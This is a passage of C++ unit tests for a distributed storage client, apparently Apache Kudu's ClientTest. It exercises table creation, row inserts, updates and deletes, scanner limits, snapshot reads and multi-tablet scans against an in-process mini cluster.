Overridden by // derived classes to test client location assignment. virtual void SetLocationMappingCmd() {} string GetFirstTabletId(KuduTable* table) { GetTableLocationsRequestPB req; GetTableLocationsResponsePB resp; req.mutable_table()->set_table_name(table->name()); CatalogManager* catalog = cluster_->mini_master()->master()->catalog_manager(); CatalogManager::ScopedLeaderSharedLock l(catalog); CHECK_OK(l.first_failed_status()); CHECK_OK(catalog->GetTableLocations(&req, &resp, /*user=*/none)); CHECK(resp.tablet_locations_size() > 0); return resp.tablet_locations(0).tablet_id(); } void FlushTablet(const string& tablet_id) { for (int i = 0; i < cluster_->num_tablet_servers(); i++) { scoped_refptr<TabletReplica> tablet_replica; ASSERT_TRUE(cluster_->mini_tablet_server(i)->server()->tablet_manager()->LookupTablet( tablet_id, &tablet_replica)); ASSERT_OK(tablet_replica->tablet()->Flush()); } } void CheckNoRpcOverflow() { for (int i = 0; i < cluster_->num_tablet_servers(); i++) { MiniTabletServer* server = cluster_->mini_tablet_server(i); if (server->is_started()) { ASSERT_EQ(0, server->server()->rpc_server()-> service_pool("kudu.tserver.TabletServerService")-> RpcsQueueOverflowMetric()->value()); } } } // Return the number of lookup-related RPCs which have been serviced by the master. int CountMasterLookupRPCs() const { auto ent = cluster_->mini_master()->master()->metric_entity(); int ret = 0; ret += METRIC_handler_latency_kudu_master_MasterService_GetMasterRegistration .Instantiate(ent)->TotalCount(); ret += METRIC_handler_latency_kudu_master_MasterService_GetTableLocations .Instantiate(ent)->TotalCount(); ret += METRIC_handler_latency_kudu_master_MasterService_GetTabletLocations .Instantiate(ent)->TotalCount(); return ret; } // Inserts given number of tests rows into the specified table // in the context of the session. static void InsertTestRows(KuduTable* table, KuduSession* session, int num_rows, int first_row = 0) { for (int i = first_row; i < num_rows + first_row; ++i) { unique_ptr<KuduInsert> insert(BuildTestInsert(table, i)); ASSERT_OK(session->Apply(insert.release())); } } // Inserts 'num_rows' test rows using 'client' void InsertTestRows(KuduClient* client, KuduTable* table, int num_rows, int first_row = 0) { shared_ptr<KuduSession> session = client->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); session->SetTimeoutMillis(60000); NO_FATALS(InsertTestRows(table, session.get(), num_rows, first_row)); FlushSessionOrDie(session); NO_FATALS(CheckNoRpcOverflow()); } // Inserts 'num_rows' using the default client. void InsertTestRows(KuduTable* table, int num_rows, int first_row = 0) { InsertTestRows(client_.get(), table, num_rows, first_row); } void UpdateTestRows(KuduTable* table, int lo, int hi) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); session->SetTimeoutMillis(10000); for (int i = lo; i < hi; i++) { unique_ptr<KuduUpdate> update(UpdateTestRow(table, i)); ASSERT_OK(session->Apply(update.release())); } FlushSessionOrDie(session); NO_FATALS(CheckNoRpcOverflow()); } void DeleteTestRows(KuduTable* table, int lo, int hi) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); session->SetTimeoutMillis(10000); for (int i = lo; i < hi; i++) { unique_ptr<KuduDelete> del(DeleteTestRow(table, i)); ASSERT_OK(session->Apply(del.release())); } FlushSessionOrDie(session); NO_FATALS(CheckNoRpcOverflow()); } static unique_ptr<KuduInsert> BuildTestInsert(KuduTable* table, int index) { unique_ptr<KuduInsert> insert(table->NewInsert()); KuduPartialRow* row = insert->mutable_row(); PopulateDefaultRow(row, index); return insert; } static unique_ptr<KuduInsertIgnore> BuildTestInsertIgnore(KuduTable* table, int index) { unique_ptr<KuduInsertIgnore> insert(table->NewInsertIgnore()); KuduPartialRow* row = insert->mutable_row(); PopulateDefaultRow(row, index); return insert; } static void PopulateDefaultRow(KuduPartialRow* row, int index) { CHECK_OK(row->SetInt32(0, index)); CHECK_OK(row->SetInt32(1, index * 2)); CHECK_OK(row->SetStringCopy(2, Slice(StringPrintf("hello %d", index)))); CHECK_OK(row->SetInt32(3, index * 3)); } static unique_ptr<KuduUpdate> UpdateTestRow(KuduTable* table, int index) { unique_ptr<KuduUpdate> update(table->NewUpdate()); KuduPartialRow* row = update->mutable_row(); CHECK_OK(row->SetInt32(0, index)); CHECK_OK(row->SetInt32(1, index * 2 + 1)); CHECK_OK(row->SetStringCopy(2, Slice(StringPrintf("hello again %d", index)))); return update; } static unique_ptr<KuduDelete> DeleteTestRow(KuduTable* table, int index) { unique_ptr<KuduDelete> del(table->NewDelete()); KuduPartialRow* row = del->mutable_row(); CHECK_OK(row->SetInt32(0, index)); return del; } void DoTestScanResourceMetrics() { KuduScanner scanner(client_table_.get()); string tablet_id = GetFirstTabletId(client_table_.get()); // Flush to ensure we scan disk later FlushTablet(tablet_id); ASSERT_OK(scanner.SetProjectedColumnNames({ "key" })); LOG_TIMING(INFO, "Scanning disk with no predicates") { ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); } std::map<std::string, int64_t> metrics = scanner.GetResourceMetrics().Get(); ASSERT_TRUE(ContainsKey(metrics, "cfile_cache_miss_bytes")); ASSERT_TRUE(ContainsKey(metrics, "cfile_cache_hit_bytes")); ASSERT_GT(metrics["cfile_cache_miss_bytes"] + metrics["cfile_cache_hit_bytes"], 0); ASSERT_TRUE(ContainsKey(metrics, "total_duration_nanos")); ASSERT_GT(metrics["total_duration_nanos"], 0); ASSERT_TRUE(ContainsKey(metrics, "queue_duration_nanos")); ASSERT_GT(metrics["queue_duration_nanos"], 0); ASSERT_TRUE(ContainsKey(metrics, "cpu_user_nanos")); ASSERT_TRUE(ContainsKey(metrics, "cpu_system_nanos")); ASSERT_TRUE(ContainsKey(metrics, "bytes_read")); ASSERT_GT(metrics["bytes_read"], 0); } } // Compares rows as obtained through a KuduScanBatch::RowPtr and through the // the raw direct and indirect data blocks exposed by KuduScanBatch, // asserting that they are the same. void AssertRawDataMatches(const KuduSchema& projection_schema, const KuduScanBatch& batch, const KuduScanBatch::RowPtr& row, int row_idx, int num_projected_cols) { const Schema& schema = *projection_schema.schema_; size_t row_stride = ContiguousRowHelper::row_size(schema); const uint8_t* row_data = batch.direct_data().data() + row_idx * row_stride; int32_t raw_key_val = *reinterpret_cast<const int32_t*>( ContiguousRowHelper::cell_ptr(schema, row_data, 0)); int key_val; ASSERT_OK(row.GetInt32(0, &key_val)); EXPECT_EQ(key_val, raw_key_val); // Test projections have either 1 or 4 columns. if (num_projected_cols == 1) return; ASSERT_EQ(4, num_projected_cols); int32_t raw_int_col_val = *reinterpret_cast<const int32_t*>( ContiguousRowHelper::cell_ptr(schema, row_data, 1)); int int_col_val; ASSERT_OK(row.GetInt32(1, &int_col_val)); EXPECT_EQ(int_col_val, raw_int_col_val); Slice raw_nullable_slice_col_val = *reinterpret_cast<const Slice*>( DCHECK_NOTNULL(ContiguousRowHelper::nullable_cell_ptr(schema, row_data, 2))); Slice nullable_slice_col_val; ASSERT_OK(row.GetString(2, &nullable_slice_col_val)); EXPECT_EQ(nullable_slice_col_val, raw_nullable_slice_col_val); int32_t raw_col_val = *reinterpret_cast<const int32_t*>( ContiguousRowHelper::cell_ptr(schema, row_data, 3)); int col_val; ASSERT_OK(row.GetInt32(3, &col_val)); EXPECT_EQ(col_val, raw_col_val); } void DoTestScanWithoutPredicates() { KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetProjectedColumnNames({ "key" })); LOG_TIMING(INFO, "Scanning with no predicates") { ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; uint64_t sum = 0; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); int count = 0; for (const KuduScanBatch::RowPtr& row : batch) { int32_t value; ASSERT_OK(row.GetInt32(0, &value)); sum += value; AssertRawDataMatches( scanner.GetProjectionSchema(), batch, row, count++, 1 /* num projected cols */); } } // The sum should be the sum of the arithmetic series from // 0..FLAGS_test_scan_num_rows-1 uint64_t expected = implicit_cast<uint64_t>(FLAGS_test_scan_num_rows) * (0 + (FLAGS_test_scan_num_rows - 1)) / 2; ASSERT_EQ(expected, sum); } } void DoTestScanWithStringPredicate() { KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("string_val", KuduPredicate::GREATER_EQUAL, KuduValue::CopyString("hello 2")))); ASSERT_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("string_val", KuduPredicate::LESS_EQUAL, KuduValue::CopyString("hello 3")))); LOG_TIMING(INFO, "Scanning with string predicate") { ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); int count = 0; for (const KuduScanBatch::RowPtr& row : batch) { Slice s; ASSERT_OK(row.GetString(2, &s)); if (!s.starts_with("hello 2") && !s.starts_with("hello 3")) { FAIL() << row.ToString(); } AssertRawDataMatches( scanner.GetProjectionSchema(), batch, row, count++, 4 /* num projected cols */); } } } } void DoTestScanWithKeyPredicate() { KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("key", KuduPredicate::GREATER_EQUAL, KuduValue::FromInt(5)))); ASSERT_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("key", KuduPredicate::LESS_EQUAL, KuduValue::FromInt(10)))); LOG_TIMING(INFO, "Scanning with key predicate") { ASSERT_OK(scanner.Open()); ASSERT_TRUE(scanner.HasMoreRows()); KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); for (const KuduScanBatch::RowPtr& row : batch) { int32_t k; ASSERT_OK(row.GetInt32(0, &k)); if (k < 5 || k > 10) { FAIL() << row.ToString(); } } } } } int CountRowsFromClient(KuduTable* table) { return CountRowsFromClient(table, KuduScanner::READ_LATEST, kNoBound, kNoBound); } int CountRowsFromClient(KuduTable* table, KuduScanner::ReadMode scan_mode, int32_t lower_bound, int32_t upper_bound) { return CountRowsFromClient(table, KuduClient::LEADER_ONLY, scan_mode, lower_bound, upper_bound); } int CountRowsFromClient(KuduTable* table, KuduClient::ReplicaSelection selection, KuduScanner::ReadMode scan_mode, int32_t lower_bound, int32_t upper_bound) { KuduScanner scanner(table); CHECK_OK(scanner.SetSelection(selection)); CHECK_OK(scanner.SetProjectedColumnNames({})); if (lower_bound != kNoBound) { CHECK_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("key", KuduPredicate::GREATER_EQUAL, KuduValue::FromInt(lower_bound)))); } if (upper_bound != kNoBound) { CHECK_OK(scanner.AddConjunctPredicate( client_table_->NewComparisonPredicate("key", KuduPredicate::LESS_EQUAL, KuduValue::FromInt(upper_bound)))); } CHECK_OK(scanner.SetReadMode(scan_mode)); CHECK_OK(scanner.Open()); int count = 0; KuduScanBatch batch; while (scanner.HasMoreRows()) { CHECK_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } return count; } // Creates a table with 'num_replicas', split into tablets based on // 'split_rows' and 'range_bounds' (or single tablet if both are empty). void CreateTable(const string& table_name, int num_replicas, vector<unique_ptr<KuduPartialRow>> split_rows, vector<pair<unique_ptr<KuduPartialRow>, unique_ptr<KuduPartialRow>>> range_bounds, shared_ptr<KuduTable>* table) { bool added_replicas = false; // Add more tablet servers to satisfy all replicas, if necessary. while (cluster_->num_tablet_servers() < num_replicas) { ASSERT_OK(cluster_->AddTabletServer()); added_replicas = true; } if (added_replicas) { ASSERT_OK(cluster_->WaitForTabletServerCount(num_replicas)); } unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); for (auto& split_row : split_rows) { table_creator->add_range_partition_split(split_row.release()); } for (auto& bound : range_bounds) { table_creator->add_range_partition(bound.first.release(), bound.second.release()); } ASSERT_OK(table_creator->table_name(table_name) .schema(&schema_) .num_replicas(num_replicas) .set_range_partition_columns({ "key" }) .timeout(MonoDelta::FromSeconds(60)) .Create()); ASSERT_OK(client_->OpenTable(table_name, table)); } // Kills a tablet server. // Boolean flags control whether to restart the tserver, and if so, whether to wait for it to // finish bootstrapping. Status KillTServerImpl(const string& uuid, const bool restart, const bool wait_started) { bool ts_found = false; for (int i = 0; i < cluster_->num_tablet_servers(); i++) { MiniTabletServer* ts = cluster_->mini_tablet_server(i); if (ts->server()->instance_pb().permanent_uuid() == uuid) { if (restart) { LOG(INFO) << "Restarting TS at " << ts->bound_rpc_addr().ToString(); ts->Shutdown(); RETURN_NOT_OK(ts->Restart()); if (wait_started) { LOG(INFO) << "Waiting for TS " << ts->bound_rpc_addr().ToString() << " to finish bootstrapping"; RETURN_NOT_OK(ts->WaitStarted()); } } else { LOG(INFO) << "Killing TS " << uuid << " at " << ts->bound_rpc_addr().ToString(); ts->Shutdown(); } ts_found = true; break; } } if (!ts_found) { return Status::InvalidArgument(Substitute("Could not find tablet server $1", uuid)); } return Status::OK(); } Status RestartTServerAndWait(const string& uuid) { return KillTServerImpl(uuid, true, true); } Status RestartTServerAsync(const string& uuid) { return KillTServerImpl(uuid, true, false); } Status KillTServer(const string& uuid) { return KillTServerImpl(uuid, false, false); } void DoApplyWithoutFlushTest(int sleep_micros); // Wait for the operations to be flushed when running the session in // AUTO_FLUSH_BACKGROUND mode. In most scenarios, operations should be // flushed after the maximum wait time. Adding an extra 5x multiplier // due to other OS activity and slow runs under TSAN to avoid flakiness. void WaitForAutoFlushBackground(const shared_ptr<KuduSession>& session, int32_t flush_interval_ms) { const int32_t kMaxWaitMs = 5 * flush_interval_ms; const MonoTime now(MonoTime::Now()); const MonoTime deadline(now + MonoDelta::FromMilliseconds(kMaxWaitMs)); for (MonoTime t = now; session->HasPendingOperations() && t < deadline; t = MonoTime::Now()) { SleepFor(MonoDelta::FromMilliseconds(flush_interval_ms / 2)); } } // Measure how much time a batch of insert operations with // the specified parameters takes to reach the tablet server if running // ApplyInsertToSession() in the specified flush mode. void TimeInsertOpBatch(KuduSession::FlushMode mode, size_t buffer_size, size_t run_idx, size_t run_num, const vector<size_t>& string_sizes, CpuTimes* elapsed); // Perform scan on the given table in the specified read mode, counting // number of returned rows. The 'scan_ts' parameter is effective only in case // of READ_AT_SNAPHOT mode. All scans are performed against the tablet's // leader server. static Status CountRowsOnLeaders(KuduTable* table, KuduScanner::ReadMode scan_mode, uint64_t scan_ts, size_t* row_count) { KuduScanner scanner(table); RETURN_NOT_OK(scanner.SetSelection(KuduClient::LEADER_ONLY)); RETURN_NOT_OK(scanner.SetReadMode(scan_mode)); if (scan_mode == KuduScanner::READ_AT_SNAPSHOT) { RETURN_NOT_OK(scanner.SetSnapshotRaw(scan_ts + 1)); } RETURN_NOT_OK(scanner.Open()); KuduScanBatch batch; size_t count = 0; while (scanner.HasMoreRows()) { RETURN_NOT_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } if (row_count) { *row_count = count; } return Status::OK(); } enum WhichServerToKill { DEAD_MASTER, DEAD_TSERVER }; void DoTestWriteWithDeadServer(WhichServerToKill which); KuduSchema schema_; unique_ptr<InternalMiniCluster> cluster_; shared_ptr<KuduClient> client_; shared_ptr<KuduTable> client_table_; }; const char *ClientTest::kTableName = "client-testtb"; const int32_t ClientTest::kNoBound = kint32max; TEST_F(ClientTest, TestListTables) { const char* kTable2Name = "client-testtb2"; shared_ptr<KuduTable> second_table; NO_FATALS(CreateTable(kTable2Name, 1, {}, {}, &second_table)); vector<string> tables; ASSERT_OK(client_->ListTables(&tables)); std::sort(tables.begin(), tables.end()); ASSERT_EQ(string(kTableName), tables[0]); ASSERT_EQ(string(kTable2Name), tables[1]); tables.clear(); ASSERT_OK(client_->ListTables(&tables, "testtb2")); ASSERT_EQ(1, tables.size()); ASSERT_EQ(string(kTable2Name), tables[0]); } TEST_F(ClientTest, TestListTabletServers) { vector<KuduTabletServer*> tss; ElementDeleter deleter(&tss); ASSERT_OK(client_->ListTabletServers(&tss)); ASSERT_EQ(1, tss.size()); ASSERT_EQ(cluster_->mini_tablet_server(0)->server()->instance_pb().permanent_uuid(), tss[0]->uuid()); ASSERT_EQ(cluster_->mini_tablet_server(0)->server()->first_rpc_address().host(), tss[0]->hostname()); } TEST_F(ClientTest, TestGetTableStatistics) { unique_ptr<KuduTableStatistics> statistics; FLAGS_mock_table_metrics_for_testing = true; FLAGS_on_disk_size_for_testing = 1024; FLAGS_live_row_count_for_testing = 1000; const auto GetTableStatistics = [&] () { KuduTableStatistics *table_statistics; ASSERT_OK(client_->GetTableStatistics(kTableName, &table_statistics)); statistics.reset(table_statistics); }; // Master supports 'on disk size' and 'live row count'. NO_FATALS(GetTableStatistics()); ASSERT_EQ(FLAGS_on_disk_size_for_testing, statistics->on_disk_size()); ASSERT_EQ(FLAGS_live_row_count_for_testing, statistics->live_row_count()); // Master doesn't support 'on disk size' and 'live row count'. FLAGS_catalog_manager_support_on_disk_size = false; FLAGS_catalog_manager_support_live_row_count = false; NO_FATALS(GetTableStatistics()); ASSERT_EQ(-1, statistics->on_disk_size()); ASSERT_EQ(-1, statistics->live_row_count()); } TEST_F(ClientTest, TestBadTable) { shared_ptr<KuduTable> t; Status s = client_->OpenTable("xxx-does-not-exist", &t); ASSERT_TRUE(s.IsNotFound()); ASSERT_STR_CONTAINS(s.ToString(), "Not found: the table does not exist"); } // Test that, if the master is down, we experience a network error talking // to it (no "find the new leader master" since there's only one master). TEST_F(ClientTest, TestMasterDown) { cluster_->ShutdownNodes(cluster::ClusterNodes::MASTERS_ONLY); shared_ptr<KuduTable> t; client_->data_->default_admin_operation_timeout_ = MonoDelta::FromSeconds(1); Status s = client_->OpenTable("other-tablet", &t); ASSERT_TRUE(s.IsNetworkError()) << s.ToString(); } // Test that we get errors when we try incorrectly configuring the scanner, and // that the scanner works well in a basic case. TEST_F(ClientTest, TestConfiguringScannerLimits) { const int64_t kNumRows = 1234; const int64_t kLimit = 123; NO_FATALS(InsertTestRows(client_table_.get(), kNumRows)); // Ensure we can't set the limit to some negative number. KuduScanner scanner(client_table_.get()); Status s = scanner.SetLimit(-1); ASSERT_STR_CONTAINS(s.ToString(), "must be non-negative"); ASSERT_TRUE(s.IsInvalidArgument()); // Now actually set the limit and open the scanner. ASSERT_OK(scanner.SetLimit(kLimit)); ASSERT_OK(scanner.Open()); // Ensure we can't set the limit once we've opened the scanner. s = scanner.SetLimit(kLimit); ASSERT_STR_CONTAINS(s.ToString(), "must be set before Open()"); ASSERT_TRUE(s.IsIllegalState()); int64_t count = 0; KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(kLimit, count); } // Test various scanner limits. TEST_F(ClientTest, TestRandomizedLimitScans) { const string kTableName = "table"; unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); ASSERT_OK(table_creator->table_name(kTableName) .schema(&schema_) .num_replicas(1) .add_hash_partitions({ "key" }, 2) .timeout(MonoDelta::FromSeconds(60)) .Create()); shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(kTableName, &table)); // Set the batch size such that a full scan could yield either multi-batch // or single-batch scans. int64_t num_rows = rand() % 2000; int64_t batch_size = rand() % 1000; // Set a low flush threshold so we can scan a mix of flushed data in // in-memory data. FLAGS_flush_threshold_mb = 1; FLAGS_flush_threshold_secs = 1; FLAGS_scanner_batch_size_rows = batch_size; NO_FATALS(InsertTestRows(client_table_.get(), num_rows)); SleepFor(MonoDelta::FromSeconds(1)); LOG(INFO) << Substitute("Total number of rows: $0, batch size: $1", num_rows, batch_size); auto test_scan_with_limit = [&] (int64_t limit, int64_t expected_rows) { scoped_refptr<Counter> counter; counter = METRIC_block_manager_total_bytes_read.Instantiate( cluster_->mini_tablet_server(0)->server()->metric_entity()); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetLimit(limit)); ASSERT_OK(scanner.Open()); int64_t count = 0; KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } NO_FATALS(scanner.Close()); ASSERT_EQ(expected_rows, count); LOG(INFO) << "Total bytes read on tserver so far: " << counter.get()->value(); }; // As a sanity check, scanning with a limit of 0 should yield no rows. NO_FATALS(test_scan_with_limit(0, 0)); // Now scan with randomly set limits. To ensure we get a spectrum of limit // coverage, gradiate the max limit that we can set. for (int i = 1; i < 200; i++) { const int64_t max_limit = std::max<int>(num_rows * 0.01 * i, 1); const int64_t limit = rand() % max_limit + 1; const int64_t expected_rows = std::min({ limit, num_rows }); LOG(INFO) << Substitute("Scanning with a client-side limit of $0, expecting $1 rows", limit, expected_rows); NO_FATALS(test_scan_with_limit(limit, expected_rows)); } } TEST_F(ClientTest, TestScan) { NO_FATALS(InsertTestRows(client_table_.get(), FLAGS_test_scan_num_rows)); ASSERT_EQ(FLAGS_test_scan_num_rows, CountRowsFromClient(client_table_.get())); // Scan after insert DoTestScanWithoutPredicates(); DoTestScanResourceMetrics(); DoTestScanWithStringPredicate(); DoTestScanWithKeyPredicate(); // Scan after update UpdateTestRows(client_table_.get(), 0, FLAGS_test_scan_num_rows); DoTestScanWithKeyPredicate(); // Scan after delete half DeleteTestRows(client_table_.get(), 0, FLAGS_test_scan_num_rows / 2); DoTestScanWithKeyPredicate(); // Scan after delete all DeleteTestRows(client_table_.get(), FLAGS_test_scan_num_rows / 2 + 1, FLAGS_test_scan_num_rows); DoTestScanWithKeyPredicate(); // Scan after re-insert InsertTestRows(client_table_.get(), 1); DoTestScanWithKeyPredicate(); } TEST_F(ClientTest, TestScanAtSnapshot) { int half_the_rows = FLAGS_test_scan_num_rows / 2; // Insert half the rows NO_FATALS(InsertTestRows(client_table_.get(), half_the_rows)); // Get the time from the server and transform to micros, disregarding any // logical values (we shouldn't have any with a single server anyway). int64_t ts = clock::HybridClock::GetPhysicalValueMicros( cluster_->mini_tablet_server(0)->server()->clock()->Now()); // Insert the second half of the rows NO_FATALS(InsertTestRows(client_table_.get(), half_the_rows, half_the_rows)); KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.Open()); uint64_t count = 0; // Do a "normal", READ_LATEST scan KuduScanBatch batch; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(FLAGS_test_scan_num_rows, count); // Now close the scanner and perform a scan at 'ts' scanner.Close(); ASSERT_OK(scanner.SetReadMode(KuduScanner::READ_AT_SNAPSHOT)); ASSERT_OK(scanner.SetSnapshotMicros(ts)); ASSERT_OK(scanner.Open()); count = 0; while (scanner.HasMoreRows()) { ASSERT_OK(scanner.NextBatch(&batch)); count += batch.NumRows(); } ASSERT_EQ(half_the_rows, count); } // Test scanning at a timestamp in the future compared to the // local clock. If we are within the clock error, this should wait. // If we are far in the future, we should get an error. TEST_F(ClientTest, TestScanAtFutureTimestamp) { KuduScanner scanner(client_table_.get()); ASSERT_OK(scanner.SetReadMode(KuduScanner::READ_AT_SNAPSHOT)); // Try to perform a scan at NowLatest(). This is in the future, // but the server should wait until it's in the past. int64_t ts = clock::HybridClock::GetPhysicalValueMicros( cluster_->mini_tablet_server(0)->server()->clock()->NowLatest()); ASSERT_OK(scanner.SetSnapshotMicros(ts)); ASSERT_OK(scanner.Open()); scanner.Close(); // Try to perform a scan far in the future (60s -- higher than max clock error). // This should return an error. ts += 60 * 1000000; ASSERT_OK(scanner.SetSnapshotMicros(ts)); Status s = scanner.Open(); EXPECT_TRUE(s.IsInvalidArgument()) << s.ToString(); ASSERT_STR_CONTAINS(s.ToString(), "in the future."); } const KuduScanner::ReadMode read_modes[] = { KuduScanner::READ_LATEST, KuduScanner::READ_AT_SNAPSHOT, KuduScanner::READ_YOUR_WRITES, }; class ScanMultiTabletParamTest : public ClientTest, public ::testing::WithParamInterface<KuduScanner::ReadMode> { }; // Tests multiple tablet scan with all scan modes. TEST_P(ScanMultiTabletParamTest, Test) { const KuduScanner::ReadMode read_mode = GetParam(); // 5 tablets, each with 10 rows worth of space. static const int kTabletsNum = 5; static const int kRowsPerTablet = 10; shared_ptr<KuduTable> table; { vector<unique_ptr<KuduPartialRow>> rows; for (int i = 1; i < kTabletsNum; ++i) { unique_ptr<KuduPartialRow> row(schema_.NewRow()); ASSERT_OK(row->SetInt32(0, i * kRowsPerTablet)); rows.emplace_back(std::move(row)); } NO_FATALS(CreateTable("TestScanMultiTablet", 1, std::move(rows), {}, &table)); } // Insert rows with keys 12, 13, 15, 17, 22, 23, 25, 27...47 into each // tablet, except the first which is empty. shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); session->SetTimeoutMillis(5000); for (int i = 1; i < kTabletsNum; ++i) { unique_ptr<KuduInsert> insert; insert = BuildTestInsert(table.get(), 2 + i * kRowsPerTablet); ASSERT_OK(session->Apply(insert.release())); insert = BuildTestInsert(table.get(), 3 + i * kRowsPerTablet); ASSERT_OK(session->Apply(insert.release())); insert = BuildTestInsert(table.get(), 5 + i * kRowsPerTablet); ASSERT_OK(session->Apply(insert.release())); insert = BuildTestInsert(table.get(), 7 + i * kRowsPerTablet); ASSERT_OK(session->Apply(insert.release())); } FlushSessionOrDie(session); ASSERT_EQ(4 * (kTabletsNum - 1), CountRowsFromClient(table.get(), read_mode, kNoBound, kNoBound)); ASSERT_EQ(3, CountRowsFromClient(table.get(), read_mode, kNoBound, 15)); ASSERT_EQ(9, CountRowsFromClient(table.get(), read_mode, 27, kNoBound)); ASSERT_EQ(3, CountRowsFromClient(table.get(), read_mode, 0, 15)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 0, 10)); ASSERT_EQ(4, CountRowsFromClient(table.get(), read_mode, 0, 20)); ASSERT_EQ(8, CountRowsFromClient(table.get(), read_mode, 0, 30)); ASSERT_EQ(6, CountRowsFromClient(table.get(), read_mode, 14, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 30, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, kTabletsNum * kRowsPerTablet, kNoBound)); // Update every other row for (int i = 1; i < kTabletsNum; ++i) { unique_ptr<KuduUpdate> update; update = UpdateTestRow(table.get(), 2 + i * kRowsPerTablet); ASSERT_OK(session->Apply(update.release())); update = UpdateTestRow(table.get(), 5 + i * kRowsPerTablet); ASSERT_OK(session->Apply(update.release())); } FlushSessionOrDie(session); // Check all counts the same (make sure updates don't change # of rows) ASSERT_EQ(4 * (kTabletsNum - 1), CountRowsFromClient(table.get(), read_mode, kNoBound, kNoBound)); ASSERT_EQ(3, CountRowsFromClient(table.get(), read_mode, kNoBound, 15)); ASSERT_EQ(9, CountRowsFromClient(table.get(), read_mode, 27, kNoBound)); ASSERT_EQ(3, CountRowsFromClient(table.get(), read_mode, 0, 15)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 0, 10)); ASSERT_EQ(4, CountRowsFromClient(table.get(), read_mode, 0, 20)); ASSERT_EQ(8, CountRowsFromClient(table.get(), read_mode, 0, 30)); ASSERT_EQ(6, CountRowsFromClient(table.get(), read_mode, 14, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 30, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, kTabletsNum * kRowsPerTablet, kNoBound)); // Delete half the rows for (int i = 1; i < kTabletsNum; ++i) { unique_ptr<KuduDelete> del; del = DeleteTestRow(table.get(), 5 + i * kRowsPerTablet); ASSERT_OK(session->Apply(del.release())); del = DeleteTestRow(table.get(), 7 + i * kRowsPerTablet); ASSERT_OK(session->Apply(del.release())); } FlushSessionOrDie(session); // Check counts changed accordingly ASSERT_EQ(2 * (kTabletsNum - 1), CountRowsFromClient(table.get(), read_mode, kNoBound, kNoBound)); ASSERT_EQ(2, CountRowsFromClient(table.get(), read_mode, kNoBound, 15)); ASSERT_EQ(4, CountRowsFromClient(table.get(), read_mode, 27, kNoBound)); ASSERT_EQ(2, CountRowsFromClient(table.get(), read_mode, 0, 15)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 0, 10)); ASSERT_EQ(2, CountRowsFromClient(table.get(), read_mode, 0, 20)); ASSERT_EQ(4, CountRowsFromClient(table.get(), read_mode, 0, 30)); ASSERT_EQ(2, CountRowsFromClient(table.get(), read_mode, 14, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 30, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, kTabletsNum * kRowsPerTablet, kNoBound)); // Delete rest of rows for (int i = 1; i < kTabletsNum; ++i) { unique_ptr<KuduDelete> del; del = DeleteTestRow(table.get(), 2 + i * kRowsPerTablet); ASSERT_OK(session->Apply(del.release())); del = DeleteTestRow(table.get(), 3 + i * kRowsPerTablet); ASSERT_OK(session->Apply(del.release())); } FlushSessionOrDie(session); // Check counts changed accordingly ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, kNoBound, kNoBound)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, kNoBound, 15)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 27, kNoBound)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 0, 15)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 0, 10)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 0, 20)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 0, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 14, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), read_mode, 30, 30)); ASSERT_EQ(0, CountRowsFromClient(table.get(), 